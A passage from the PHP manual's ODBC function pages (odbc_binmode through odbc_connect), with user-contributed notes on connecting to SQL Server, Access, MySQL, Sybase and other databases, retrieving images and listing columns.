  • ODBC_BINMODE_CONVERT: Convert to char and return

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

yhalmoe at yahoo dot no 14-Dec-2009 05:45
For Sybase users (this probably applies to MS-SQL Server as well) who are using ODBC:

I was using the same code as mizmerize, but I was getting truncated data back from the server (at the 32kb mark) when selecting data with the image datatype. My Sybase server has a @@textsize property of 2Gb, which should be plenty. But apparently, the php ODBC driver resets this to 32Kb when a connection is made, and then sets it back to 2Gb after. The solution is to do a query:

<?php odbc_exec($connH, "set textsize 131072"); ?>

immediately before your main query, in mizmerize's code. That should override the default setting.
bortuzar 12-Feb-2009 04:28
I set the odbc_longreadlen() at the beggining of my script so nText field types dont get truncated, like this:

<?php odbc_longreadlen (0, 1000000); ?>
mizmerize at yahoo dot com 11-Jan-2006 03:59
I am currently using an SQL Server 2000 used as a datasource for ODBC access, Testing PHP scripts from an Apache 2 server running on Windows 2000.

I was trying to get an image from the database using ODBC but the output always flushes automatically while I was just getting the result using odbc_result() function.

With this code, the picture automatically prints to the browser as soon as I hit odbc_result() (probably a bug, but bug reports aren't that easy to do).

<?php
  $connH=odbc_pconnect("ImageDB","sa","",SQL_CUR_USE_IF_NEEDED) or die(odbc_errormsg());
    $result=odbc_exec($connH, "SELECT Emp_Image FROM tblEmployeePics WHERE Emp_Id=547");
    if ($result) {
        odbc_longreadlen($result, 131072);
        odbc_binmode($result,ODBC_BINMODE_PASSTHRU);
//upon calling this, the output flushes out to the browser... made me scratch
$m_FValue=odbc_result($result, 1);
}
?>

...after 48 hours of scratching I finally made a work around, but by using a function in the bin2hex() function documentation...

<?php
      function hex2bin($data){
       $len = strlen($data);
       return pack("H" . $len, $data);
    }

    $connH=odbc_pconnect("ImageDB","sa","",SQL_CUR_USE_IF_NEEDED) or die(odbc_errormsg());
    $result=odbc_exec($connH, "SELECT Emp_Image FROM tblEmployeePics WHERE Emp_Id=547");
    if ($result) {
        odbc_longreadlen($result, 131072);
        odbc_binmode($result,ODBC_BINMODE_CONVERT);
        $m_FValue=odbc_result($result, 1);
        $out=hex2bin($m_FValue);
    }
?>

The trick was to convert the output into hex by changing odbc_binmode to  ODBC_BINMODE_CONVERT and using a handy function to convert it back to binary in order to facilitate manipulation of its size, depth etc...
andrea dot galli at acotel dot com 28-Apr-2003 05:27
Example: retrieve image from database.

<?php

   $Link_ID = odbc_connect("DSN", "user", "pass");
   $Query_ID = odbc_exec($Link_ID, "SELECT picture FROM categories");

   // change to ODBC_BINMODE_CONVERT for comparison

   odbc_binmode($Query_ID, ODBC_BINMODE_RETURN);

   $Images = odbc_result($Query_ID, 1);

   echo $Images;

?>


Close all ODBC connections

  • « odbc_binmode
  • odbc_close »
  • PHP Manual
  • ODBC Functions
  • Close all ODBC connections

odbc_close_all

(PHP 4, PHP 5)

odbc_close_all — Close all ODBC connections

Description

void odbc_close_all ( void )

odbc_close_all() will close down all connections to database server(s).

Parameters

This function has no parameters.

Return Values

No value is returned.

Notes

Note:

This function will fail if there are open transactions on a connection. This connection will remain open in this case.

User Contributed Notes

alvaro at demogracia dot com 19-Sep-2008 11:08
Apparently, it doesn't really close *all* connections; just those used by the current script.

If you are using persistent connections, every time a script does an odbc_pconnect() and all open connections are in use you'll get a new connection with the same credentials. You won't close them all with odbc_close_all().


Close an ODBC connection

  • « odbc_close_all
  • odbc_columnprivileges »
  • PHP Manual
  • ODBC Functions
  • Close an ODBC connection

odbc_close

(PHP 4, PHP 5)

odbc_close — Close an ODBC connection

Description

void odbc_close ( resource $connection_id )

Closes down the connection to the database server.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

Return Values

No value is returned.

Notes

Note:

This function will fail if there are open transactions on this connection. The connection will remain open in this case.

User Contributed Notes

mallsop at ind dot net 17-May-2000 04:33
On microsoft servers, use the odbc_free_result command.


Lists columns and associated privileges for the given table

  • « odbc_close
  • odbc_columns »
  • PHP Manual
  • ODBC Functions
  • Lists columns and associated privileges for the given table

odbc_columnprivileges

(PHP 4, PHP 5)

odbc_columnprivileges — Lists columns and associated privileges for the given table

Description

resource odbc_columnprivileges ( resource $connection_id , string $qualifier , string $owner , string $table_name , string $column_name )

Lists columns and associated privileges for the given table.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

qualifier

The qualifier.

owner

The owner.

table_name

The table name.

column_name

The column_name argument accepts search patterns ('%' to match zero or more characters and '_' to match a single character).

The owner, table_name, and column_name accept search patterns ('%' to match zero or more characters and '_' to match a single character).

Return Values

Returns an ODBC result identifier or FALSE on failure. This result identifier can be used to fetch a list of columns and associated privileges.

The result set has the following columns:

  • TABLE_QUALIFIER
  • TABLE_OWNER
  • TABLE_NAME
  • GRANTOR
  • GRANTEE
  • PRIVILEGE
  • IS_GRANTABLE

The result set is ordered by TABLE_QUALIFIER, TABLE_OWNER and TABLE_NAME.

User Contributed Notes

There are no user contributed notes for this page.


Lists the column names in specified tables

  • « odbc_columnprivileges
  • odbc_commit »
  • PHP Manual
  • ODBC Functions
  • Lists the column names in specified tables

odbc_columns

(PHP 4, PHP 5)

odbc_columns — Lists the column names in specified tables

Description

resource odbc_columns ( resource $connection_id [, string $qualifier [, string $schema [, string $table_name [, string $column_name ]]]] )

Lists all columns in the requested range.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

qualifier

The qualifier.

schema

The owner.

table_name

The table name.

column_name

The column name.

The schema, table_name, and column_name accept search patterns ('%' to match zero or more characters and '_' to match a single character).

Return Values

Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • TABLE_QUALIFIER
  • TABLE_SCHEM
  • TABLE_NAME
  • COLUMN_NAME
  • DATA_TYPE
  • TYPE_NAME
  • PRECISION
  • LENGTH
  • SCALE
  • RADIX
  • NULLABLE
  • REMARKS

The result set is ordered by TABLE_QUALIFIER, TABLE_SCHEM and TABLE_NAME.

See Also

  • odbc_columnprivileges() - Lists columns and associated privileges for the given table to retrieve associated privileges

User Contributed Notes

eion at robbmob dot com 12-Apr-2012 12:47
Sometimes the array keys of the results of odbc_columns() can be in lower case, instead of upper case (eg 'column_name' instead of 'COLUMN_NAME').  This can vary depending on which ODBC driver you are connecting to.
Thomas 16-Jun-2009 03:46
[MS SQL Server 2005/2008, PHP 5]

Imagine you would need to access the column names of a specific table, for instance to display them as table headers for fields with missing information. While browsing the documentation I was kind of lost how to use odbc_columns() without the usage of odbc_result_all() which outputs EVERYTHING in a single HTML table.

Here is a way to stuff all output into an array and then access only one or more fields of the odbc_columns() output:

<?php
include('connect.inc'); // <== Put all your database connection parameters in here. (DSN, PWD, USR, mssql_connect, etc.; returns $connection)

$outval = odbc_columns($connection, "your DB name", "%", "your table name", "%");

$pages = array();
while (odbc_fetch_into($outval, $pages)) {
        echo $pages[3] . "<br />\n"; // presents all fields of the array $pages in a new line until the array pointer reaches the end of array data
    }
?>

Now your array $pages will have the following contents:
([x] is the array index displayed here for better understanding)

[0] TABLE_CAT <== your DB name
[1] TABLE_SCHEM <== dbo, your table scheme
[2] TABLE_NAME <== your table name
[3] COLUMN_NAME <== your column names (selected all with "%" in odbc_columns() )
[4] DATA_TYPE <== -8
[5] TYPE_NAME <== nchar (corresponds to -8, 11 f.i. is datetime and so on)
[6] COLUMN_SIZE <== num. val.
[7] BUFFER_LENGTH <== num. val.
[8] DECIMAL_DIGITS <== num. val. or NULL
[9] NUM_PREC_RADIX <== num. val. or NULL
[10] NULLABLE <== num. val.
[11] REMARKS <== num. val. or NULL
[12] COLUMN_DEF <== num. val. or NULL
[13] SQL_DATA_TYPE <== num. val.
[14] SQL_DATETIME_SUB <== num. val. or NULL
[15] CHAR_OCTET_LENGTH <== num. val. or NULL
[16] ORDINAL_POSITION <== num. val.
[17] IS_NULLABLE <== YES/NO
[18] SS_DATA_TYPE <== num. val.

Now you can access each field recursivly by its key and output only the DESIRED fields instead of having ALL output from odbc_result_all().
Please note that the array key starts at zero (0) instead of one (1), so echo $pages[3] selects COLUMN_NAME from the above list.

I hope this helps...

Cheers
Thomas
php dot lpatrick at spamgourmet dot com 02-May-2008 07:52
Since I was just looking for table descriptions of an MS Access file I didn't know the table structure of, I wrote this (where $inputfile is the Access file name):

<?php
$conn = odbc_connect("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=".$inputfile;, "", "");

$tabs = odbc_tables($conn);
$tables = array();
while (odbc_fetch_row($tabs)){
    if (odbc_result($tabs,"TABLE_TYPE")=="TABLE") {
        $table_name = odbc_result($tabs,"TABLE_NAME");
        $tables["{$table_name}"] = array();
        $cols = odbc_exec($conn,'select * from `'.$table_name.'` where 1=2');  // we don't want content
      $ncols = odbc_num_fields($cols);
        for ($n=1; $n<=$ncols; $n++) {
            $field_name = odbc_field_name($cols, $n);
            $tables["{$table_name}"]["{$field_name}"]['len'] = odbc_field_len($cols, $n);
            $tables["{$table_name}"]["{$field_name}"]['type'] = odbc_field_type($cols, $n);
        }
    }
}
odbc_close ($conn);
print_r($tables);
?>
jeremie dot legrand at komori-chambon dot fr 19-Feb-2008 11:43
Here is the way to use odbc_columns() with "Attunity Connect", an ODBC connector to VMS :

$db = "my_database";
$table = "my_table";
$con = odbc_connect($db, "user", "password");
$result = odbc_columns($con, $db, "", $table, "%");
while (odbc_fetch_row($resu)) {
    echo odbc_result_all($resu);
}
Artur 23-Jan-2007 03:15
This is the only way I could actually get field names using odbc_columns. Hope it will be usefull for someone.

$result = odbc_columns($odbc,$dbhost,"dbo", "KIR_ViolationDetail");

while (odbc_fetch_row($result))
{
  echo odbc_result($result,"COLUMN_NAME");
}
ke3wh at comcast dot net 26-Nov-2004 02:47
The complete script to get into from a DSN MS Access DB Table and display it is below.

function Error_Handler( $msg, $cnx ) {
    echo "$msg \n";
    odbc_close( $cnx);
    exit();
    }

$cnx = odbc_connect( 'DSN_NAME' , '', '' );//connect to MSAccess
    if (!$cnx) {
      Error_handler( "Error in odbc_connect" , $cnx );
    }

    $res400= odbc_columns($cnx,"DSN_NAME","","TABLE");
    echo odbc_result_all($res400);
laundro at gmail dot com 15-Nov-2004 05:29
Getting all column names from Excel with ODBC:
$cols = odbc_columns($connection, $filename, NULL, $sheet);

where:
$connection is the result of your odbc_connect;
$filename is the filename of the Excel file;
$sheet is the name of the Excel worksheet.

This is useful when you want to query an Excel file without having to name ranges beforehand. With the results obtained from the above command, you can populate an array and use its contents (ie the column names) for further querying.
netaminas at hotamil dot com 25-Feb-2004 11:21
Connect with IBM Client Access 32-bit ODBC driver

To access table information in DB2 iSeries (AS/400) via ODBC Driver i've tried with this code and worked!!!

$conn_ODBC = odbc_connect("DSN", "USER", "PASSW") or die;
$tabela = "table name in IBM iSeries";
$libname = "library name in IBM iSeries"

$res400 = odbc_columns($conn_ODBC, "DSN", $libname, $tabela, "%")  or die("<p><font color=#FF0000>Erro Na Leitura da Tabela ".$tabela." do AS/400: ".odbc_errormsg());

echo odbc_result_all($res400);

Netaminas.com
PORTUGAL
21-Oct-2003 08:44
ODBC & MS ACCESS :

odbc_columns($conn,"DSN_NAME","","TABLE_NAME");
Sergio Sartori 25-Feb-2003 05:05
Using this function on a MS SQL Server 2000 database connection with the syntax:

$res = odbc_columns($connId, $dbName, "%", $tableName, "%");

I actually get a result set with THESE columns name:

TABLE_CAT, TABLE_SCHEM, TABLE_NAME, COLUMN_NAME, DATA_TYPE, TYPE_NAME, COLUMN_SIZE, BUFFER_LENGTH, DECIMAL_DIGITS, NUM_PREC_RADIX, NULLABLE, REMARKS

in the order displayed.
josh at engledental dot com 13-Jun-2002 02:34
(PHP4.2.1, Win2k, MSSQL 2K)

The result id returned from this function does not appear to behave exactly the same as a result id returned from a query.

I get all sorts of errors when I try to use subsequent odbc functions on the result id, such as:

odbc_fetch_into - This function only seems to work if I don't specify a row number or if the row number = 0.

odbc_fetch_row - This function will not return a row from the result set.  Under some scenarios, I am able to use it in a while loop, but its seems buggy.  Hence, my odbc_num_of_rows function (hack to replace the non-functional odbc_num_rows function) also doesn't work.

I recommend dumping the results into an array immediately and freeing the result id created by this function.

ps - If anyone has any further insight or workarounds, I would appreciate them.
LyleE at LocalMotion dot com 22-Feb-2001 08:53
Took me a while to figure out this command, thought I would save some other people the time.  We couldn't quite figure out what the qualifier was.  For MSSQL 7.0, it is the Database that you are connecing to.  For the pubs database it would look something like this.

$rs = odbc_columns($DBConnection, "Pubs", "%", "jobs");

That would be for showing the jobs table.


Commit an ODBC transaction

  • « odbc_columns
  • odbc_connect »
  • PHP Manual
  • ODBC Functions
  • Commit an ODBC transaction

odbc_commit

(PHP 4, PHP 5)

odbc_commit — Commit an ODBC transaction

Description

bool odbc_commit ( resource $connection_id )

Commits all pending transactions on the connection.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Connect to a datasource

  • Â« odbc_commit
  • odbc_cursor Â»
  • PHP Manual
  • ODBC Functions
  • Connect to a datasource

odbc_connect

(PHP 4, PHP 5)

odbc_connect — Connect to a datasource

Description

resource odbc_connect ( string $dsn , string $user , string $password [, int $cursor_type ] )

The connection id returned by this functions is needed by other ODBC functions. You can have multiple connections open at once as long as they either use different db or different credentials.

With some ODBC drivers, executing a complex stored procedure may fail with an error similar to: "Cannot open a cursor on a stored procedure that has anything other than a single select statement in it". Using SQL_CUR_USE_ODBC may avoid that error. Also, some drivers don't support the optional row_number parameter in odbc_fetch_row(). SQL_CUR_USE_ODBC might help in that case, too.

Parameters

dsn

The database source name for the connection. Alternatively, a DSN-less connection string can be used.

user

The username.

password

The password.

cursor_type

This sets the type of cursor to be used for this connection. This parameter is not normally needed, but can be useful for working around problems with some ODBC drivers.

The following constants are defined for cursortype:

  • SQL_CUR_USE_IF_NEEDED
  • SQL_CUR_USE_ODBC
  • SQL_CUR_USE_DRIVER

Return Values

Returns an ODBC connection or (FALSE) on error.

Examples

Example #1 DSN-less connections

<?php
// Microsoft SQL Server using the SQL Native Client 10.0 ODBC Driver - allows connection to SQL 7, 2000, 2005 and 2008
$connection = odbc_connect("Driver={SQL Server Native Client 10.0};Server=$server;Database=$database;", $user, $password);

// Microsoft Access
$connection = odbc_connect("Driver={Microsoft Access Driver (*.mdb)};Dbq=$mdbFilename", $user, $password);

// Microsoft Excel
$excelFile = realpath('C:/ExcelData.xls');
$excelDir = dirname($excelFile);
$connection = odbc_connect("Driver={Microsoft Excel Driver (*.xls)};DriverId=790;Dbq=$excelFile;DefaultDir=$excelDir" , '', '');
?>

See Also

  • For persistent connections: odbc_pconnect() - Open a persistent database connection

User Contributed Notes

Anonymous 22-Feb-2014 01:33
I was having trouble connecting to a MSSQL database using FreeTDS and a DSN string with the error message:
"Warning: odbc_connect(): SQL error: [unixODBC][Driver Manager]Data source name not found, and no default driver specified, SQL state IM002 in SQLConnect"

The problem was with specifying the driver. Many examples show the driver name surrounded by { }

The solution was to remove the braces.

Example:
<?php
$user = "username";
$pass = "password";
// Some examples show "Driver={FreeTDS};" but this will not work
$dsn = "Driver=FreeTDS;Server=some.server.com;Port=1433;Database=mydatabase;";
$cx = odbc_connect($dsn,$user,$pass);
// Get the error message
if($cx === false) {
    throw new ErrorExcpetion(odbc_errormsg());
}
?>
Andrew Wippler 24-May-2012 06:16
http://www.microsoft.com/en-us/download/details.aspx?id=13255 for the latest odbc driver for .accdb files.
Abhinav 04-Mar-2012 11:13
Pls ensure that the MSAccess database format is ".mdb".
If it is ".accdb" it will not work!
jpditri at gmail dot com 18-May-2011 08:02
I found that on Windows I am able to connect to a FoxPro free table directory on a password-protected mapped network drive without having a domain controller (as posted in the solution below from harald).
Trying to connect to the mapped drive returned the error "tablename does not exist."  The same code worked correctly if the ODBC resource was located locally on my machine.

As a workaround, I specified the datasource explicitly in the connection, but pointed the source at a shortcut to the same mapped directory:
<?php
$dsn = "Driver={Microsoft Visual FoxPro Driver};SourceType=DBF;SourceDB=c:\\shortcut;Exclusive=NO;collate=Machine;NULL=NO;DELETED=NO;BACKGROUNDFETCH=NO;";
$conn=odbc_connect($dsn,"","");
?>
and the connection completed.  My guess is that the credentials needed to access the drive weren't accessible to apache (I tried changing the user apache ran as to no avail), and the shortcut put that responsibility on Windows.
ewilde aht bsmdevelopment dawt com 17-Feb-2010 10:08
Once you've set up a UnixODBC connection to Informix (as described elsewhere, for example in http://www.unixodbc.org/), the following PHP code will access a database via its DSN:

<?php
// We must set these environment variables for Informix to work.  Either
// do it here or in php.ini.
putenv("INFORMIXDIR=/usr/share/informix");
putenv("ODBCINI=/usr/local/unixODBC/etc/odbc.ini");

// Open up a connection to the database.
if (!($con = odbc_connect("CollectOh", "", "")))
  echo "<p>Connection to CollectOh failed.</p>\n";
else
  {
  // Let's try enumerating all of the tables in the database (there ain't
  // no "show tables" here).
  if (($res = odbc_exec($con, "select * from SYSTABLES")))
    {
    echo "<p>\n";
    odbc_result_all($res);
    echo "</p>\n";
    }

  // Close up shop, like good dobies.
  odbc_close($con);
  }
?>
Mika 14-Dec-2009 10:26
To connect a SQLite database in Linux I used the following function call

<?php $db = odbc_connect('Driver=SQLite3;Database=' . Database::DATABASE, '', '') or die('could not open database!'); ?>

In Debian or Ubuntu package libsqliteodbc is requried. Check /etc/odbc.ini and /etc/odbcinst.ini.
Shyam Hazari 26-Oct-2009 12:43
Here is my successful odbc_connect with mysql on Ubuntu. It took me a while to figure this out.

Installed following packages using apt-get.

apache2
apache2-mpm-prefork
apache2-utils
apache2.2-common
libapache2-mod-php5
libdbd-mysql-perl
libmyodbc
libmysqlclient15off
mysql-client-5.0
mysql-common
mysql-server-5.0
mysql-server-core-5.0
odbcinst1debian1
php5
php5-cli
php5-common
php5-odbc
unixodbc

/etc/odbc.ini
------------
myodbc3      = MySQL ODBC 3.51 Driver

[myodbc3]
Driver         = /usr/lib/odbc/libmyodbc.so
Description  = MySQL ODBC 3.51 Driver
Server        = localhost
Port           = 3306
User           = shyam
Password    = mypass
Database    = mysql
Option        = 3
Socket       = /var/run/mysqld/mysqld.sock

/etc/odbcinst.ini
----------------
[MySQL ODBC 3.51 Driver]
Description    = MySQL driver
Driver        = /usr/lib/odbc/libmyodbc.so
Setup        = /usr/lib/odbc/libodbcmyS.so
CPTimeout    =
CPReuse    =
UsageCount    = 1

my php script
------------

<html>
<body>
<?
$conn = odbc_connect("DRIVER={MySQL ODBC 3.51 Driver};Server=localhost;Database=mysql", "shyam", "mypass");

$sql = "SELECT user from user";
$rs = odbc_exec($conn,$sql);
echo "<table><tr>";
echo "<th>User Name</th></tr>";
while (odbc_fetch_row($rs))
 {
 $user = odbc_result($rs,"user");
 echo "<tr><td>$user</td></tr>";
}
odbc_close($conn);
echo "</table>";
?>

</body>
</html>
drew at pixelburn dot net 03-Jul-2009 02:32
[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified

If you keep running  into this on the 64 bit versions of windows, ie server 2008,  and none of the other solutions helped.

In a 64 bit windows server operating system, there are TWO odbc managers. When you pull up the usual menu for the odbc / dsn system, it is for the 64 bit odbc manager, and 32 bit applications (vb 6.0, PHP 5) will not work using these dsn's.

This is where the 32 bit odbc manager is:

C:\Windows\SysWOW64\odbcad32.exe
eisalen at yahoo dot com 22-Sep-2008 01:21
I've been having trouble displaying Russian characters from Access database using ODBC. You might try this solution, though it is using ADODB.Connection COM connection with added charset setting.

<?php
$db_connection = new COM("ADODB.Connection", NULL, 1251);
$db_connstr = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=C:\DataDir\Employee.mdb;DefaultDir=C:\DataDir";

$db_connection->open($db_connstr);
$rs = $db_connection->execute("SELECT EmpNameLocal, EmpPosLocal FROM tbl_Employee WHERE ID='$IDNo'");
$rs_fld0 = $rs->Fields(0);
$rs_fld1 = $rs->Fields(1);
while (!$rs->EOF) {
    $empNameLoc    = $rs_fld0->value;
    $empWPPos    = $rs_fld1->value;
    $rs->MoveNext();
}

$rs->Close();
$db_connection->Close();
?>
Anonymous 11-Sep-2008 10:16
This might be obvious to some, but here is a quick tidbit that might save you some time if you're using FreeTDS in Linux:

Be sure that you have these two lines in freetds.conf:
dump file = /tmp/freetds.log
dump file append = yes

so you can tail -f it in the background of debugging the problem.  This helped me find my issue on on CentOS Linux:

1) tsql test works
2) isql test works
3) odbc connection in php also works WHEN RUN FROM THE SHELL
4) running PHP through apache does NOT work.

my /tmp/freetds.log file told me:
net.c:168:Connecting to MYDBSERVER port MYDBPORT
net.c:237:tds_open_socket: MYDBSERVER:MYDBPORT: Permission denied

and the answer was my firewall/SELinux was denying the Apache processes access to connect to the remote MSSQL DB port, but my shell accounts were fine.
Anonymous 12-Jun-2008 05:08
I have used mdbtools to access .mdb file on my ubuntu box, as ODBC driver (and PHP)
It has very few features, and practically unusable.
jared (who is at) hatwhite * com 27-Mar-2008 08:04
It is indeed possible to read the data stored in an MSAccess .mdb file while remaining entirely within Linux. It is thanks to the mdbtools project, which created an MDB driver for unix.

Up to you to get PHP to move this data around. Here are the links to get you started:

Documentation:
ftp://kalamazoolinux.org/pub/pdf/dbaccess.pdf

ODBC on Linux:
http://www.unixodbc.org/

MDB driver for the odbc system created above:
http://mdbtools.sourceforge.net/

Note that on most modern Linux boxen, you can bypass the (documented) command-line configuration and installation of these projects; simply use apt-get or some similar package installer.

The documentation link covers more than the mdb driver and is a good place to start for all data access in Linux. Much thanks to the hard work which went into these three projects.

-Jared
Ceeclipse 05-Feb-2008 10:36
"Returns an ODBC connection id or 0 (FALSE) on error."

Keep in mind that the following code in PHP5 will not work properly:

<?php

if( odbc_connect("test", "test", "test") === false ) {
    // Your error reporting/handling here..
}

?>

odbc_connect() returns an integer, and not a PHP5 boolean!
exkludge at gmail dot com 17-Jan-2007 01:02
After doing "harald dot angel at gmail dot com" suggestion, you may still receive this error:

"Warning: odbc_connect() [function.odbc-connect]: SQL error: [Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot open the file '(unknown)'. It is already opened exclusively by another user, or you need permission to view its data., SQL state S1000 in SQLConnect in... "

You may need to include the <computer name> of the machine where the ODBC is, to the <local group> of the machine where the *.mdb is stored. And make sure that the <local group> has enough permission to access the *.mdb.

hope this make somebody more happy!

more power to opensource.
harald dot angel at gmail dot com 06-Dec-2006 03:12
- Windows - OS
- Apache
- ODBC-Connction to MS-Access DB on a:
- Network Share

After many hours searching hereÂ´s how it works:

- Map the Network Drive where the mdb is located
- Setup System DSN in Control Panel with mapped Drive
- Open Registry at:
HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC_INI
- Edit the for example "M:\" to "\\server\..."
- Close Regedit
- The Apache-Service must run with a Domain (network)-User!!
- After that you can connect using:

$conn = odbc_connect('your-dsn-name','','');

hope that makes someone happy :)
bye
Ray.Paseur sometimes uses GMail 29-Nov-2006 04:48
To connect and show tables in a Microsoft Access data base (created in *.asp pages)...

$dbq    =    str_replace("/", "\\", $_SERVER["DOCUMENT_ROOT"]) . "\\path\\to\\database.mdb";
if    (!file_exists($dbq)) { echo "Crap!<br />No such file as $dbq"; }

$db_connection = odbc_connect("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=$dbq", "ADODB.Connection", "password", "SQL_CUR_USE_ODBC");

$result = odbc_tables($db_connection);

while (odbc_fetch_row($result)) {
    if(odbc_result($result,"TABLE_TYPE")=="TABLE") {
        echo "<br />" . odbc_result($result,"TABLE_NAME");
    }
}
stefanov at uk dot ibm dot com 08-Nov-2006 01:41
Short tutorial on how to connect to the IBM Tivoli Netcool ObjectServer (based on Sybase):

http://nuqm.micromuse.com/wiki/index.php/ObjectServer_PHP

Hopefully this will save some people precious time..

Cheers,
Pimmy
sven dot delmeiren at cac dot be 09-Aug-2006 04:39
Hi,

Instructions on how to connect to a Progress database on Linux using the Merant ODBC driver can be found at http://www.progteg.com/english/documents.html.

Kind regards,

Sven Delmeiren
Computers & Communications NV
Kalle Sommer Nielsen 09-Apr-2006 03:30
To use MySQL via ODBC:
<?php
    $db_host        = "server.mynetwork";
    $db_user        = "dbuser";
    $db_pass        = "dbpass";
    $dsn =         "DRIVER={MySQL ODBC 3.51 Driver};" .
            "CommLinks=tcpip(Host=$db_host);" .
            "DatabaseName=$db_name;" .
            "uid=$db_user; pwd=$db_pass";

    odbc_connect($dsn, $db_user, $db_pass);
?>
gekkeprutser at gmail dot com 06-Dec-2005 03:35
I also had a problem with this message: ([ODBC SQL Server driver]Allocation of a Sybase Open Client Context failed). The message only appeared after the server had run for a few hours, so I expected resource starvation. However it was a settings problem and I thought this might benefit others too.

In addition to putting a <?php putenv ("SYBASE=c:\sybase"); ?>  as described by oottavi above, I also had so specify a locale by setting <?php putenv ("LC_ALL=default"); ?>.

Even though my locale was already set to a valid one (en_US) I had to set this environment variable to make it work anyhow.
owen at silicon-dream dot com 14-Sep-2005 05:07
Connecting to an access database was as simple as the following line for me.

odbc_connect("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . str_replace("/", "\\", $_SERVER["DOCUMENT_ROOT"]) . "\_database\dbname.mdb", "", "")
webmaster at dzconnexion dot com 05-May-2005 05:44
Concerning the note posted by Grisu on the 23-Dec-2003 11:51: Connect to an MS-Access Database on the Network via ODBC,

PLEASE dont forget to put double slashes as follows:

"\\\\Server\\folder\\database.mdb"

when setting up the registry key as indicated...
rotwhiler at hotmail dot com 29-Apr-2005 05:42
For anyone having problems with WHERE clauses in their MS Access ODBC requests here’s what I found: SQL requests sent to Access must include quotes around the criteria.

$sel = "SELECT * FROM table1 WHERE cust_id = 'cust1'";
outputs:
SELECT * FROM table1 WHERE cust_id = 'cust1'
And works.

$sel = ‘SELECT * FROM table1 WHERE cust_id = cust1’;
outputs:
SELECT * FROM table1 WHERE cust_id = cust1
And doesn’t work.

Here’s the whole block of code:
$conn = odbc_connect("database1","","");
$sel = "SELECT * FROM table1 WHERE cust_id = 'cust1'";
$exec = odbc_exec($conn,$sel);
while($row = (odbc_fetch_array($exec)))
 $serv[odbc_result($exec,'label')] = $row;
print_r($serv);
aurelien marchand 30-Mar-2005 04:54
For three days I fought to be able to connect our Linux intranet server to our AS400 database through ODBC and PHP on Mandrake. I installed everything I thought would work but I still got a: odbc_connect(): SQL error: Missing server name, port, or database name in call to CC_connect., SQL state IM002 in SQLConnect

Note that isql was working great but php was failing to connect.

The solution:
I located and found a PHP module called php-unixODBC (to oppose with php-odbc). Once installed (even though it wasn't for the right version of PHP), I realised it didn't place the file properly. The ini file was in /etc/php/ instead of /etc/php.d/, so I moved it there and renamed the old /etc/php.d/36_odbc.ini to /etc/php.d/36_odbc.ini.sav, so that I now had /etc/php.d/36_unixodbc.ini. I restarted the httpd server and now I was able to access the as400.

If you have questions, email _artaxerxes2_at_iname_dot_com (sans the underscore).
ramsosa at yahoo dot com 11-Mar-2005 08:47
Connecting to ADS (Advantage Database Server) using Windows. When you setup data source in ODBC Manager (PHP_SERVER) don't use a mapped drive in Database or Data Dictionary Path, or you cannot connect:

Lets suppose that you share C:\ADS_SERVER\ADS as ADS.
Mapping to a drive X: in PHP_SERVER

Instead of:

X:\APP\DATA\APP.ADD

use UNC:

\\ADS_SERVER\ADS\APP\DATA\APP.ADD

if the ADS ODBC dialog don´t let you to browse a Network Drive type it manually
aamaral at 0kbps dot net 03-Mar-2005 07:16
Two additional notes regarding ODBC connections to a Network Sybase SQL Anywhere 8 Server..

I wrote a script using the PHP5 CLI binary that monitors a directory for changes, then updates a Network Server SQL Anywhere 8 database when a change was detected. Idealy, my program would run indefinately, and issue odbc_connect()/odbc_close() when appropriate. However, it seems that once connected, your odbc session is limited to 30 seconds of active time, after which, the connection becomes stale, and no further queries can be executed.  Instead, it returns a generic "Authentication violation"  error from the odbc driver.

Here's an example:

<?php
  $conn=odbc_connect($connect_string,'','');
  $result=odbc_exec($qry,$conn);  //returns data
  sleep(31);
  $result=odbc_exec($qry,$conn);  //"Authentication Violation"
?>

Additionally, it seems that odbc_close() doesn't truely close the connection (at least not using Network SQL Anywhere 8). The resource is no longer usable after the odbc_close() is issued, but as far as the server is concerned, there is still a connection present. The connection doesn't truely close until after the php script has ended, which is unfortunate, because a subsequent odbc_connect() commands appear to reuse the existing stale connection, which was supposedly closed.

My workaround was to design my script exit entirely after a the database update had completed.  I then called my script whithin a batch file and put it inside an endless loop.

I'm not sure if this is a bug with PHP or what, but I thought I'd share in case someone else is pulling their hair out trying to figure this one out...
aamaral at 0kbps dot net 16-Feb-2005 09:29
To connect to Sybase SQL Server Anywhere 8.0 on Windows use the following:

<?php
//================================================================

  // Configure connection parameters
  $db_host        = "server.mynetwork";
  $db_server_name = "Dev_Server";
  $db_name        = "Dev_Data";
  $db_file        = 'c:\dbstorage\dev.db';
  $db_conn_name   = "php_script";
  $db_user        = "dbuser";
  $db_pass        = "dbpass";

//================================================================
  $connect_string = "Driver={Adaptive Server Anywhere 8.0};".
                    "CommLinks=tcpip(Host=$db_host);".
                    "ServerName=$db_server_name;".
                    "DatabaseName=$db_name;".
                    "DatabaseFile=$db_file;".
                    "ConnectionName=$db_conn_name;".
                    "uid=$db_user;pwd=$db_pass";

  // Connect to DB
  $conn = odbc_connect($connect_string,'','');

  // Query
  $qry = "SELECT * FROM my_table";

  // Get Result
  $result = odbc_exec($conn,$qry);

  // Get Data From Result
  while ($data[] = odbc_fetch_array($result));

  // Free Result
  odbc_free_result($result);

  // Close Connection
  odbc_close($conn);

  // Show data
  print_r($data);

//================================================================
?>
manuel dot vecino at steria dot es 16-Nov-2004 12:04
Hi Mario, I changed a bit your script to suit my configuration,
I also included a lines to close the connection.
Thanks for the script
I am running apache 2.0.52 and PHP 5.0.2. Windows 2000
SQL 2000

<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body bgcolor="#FFFFFF">
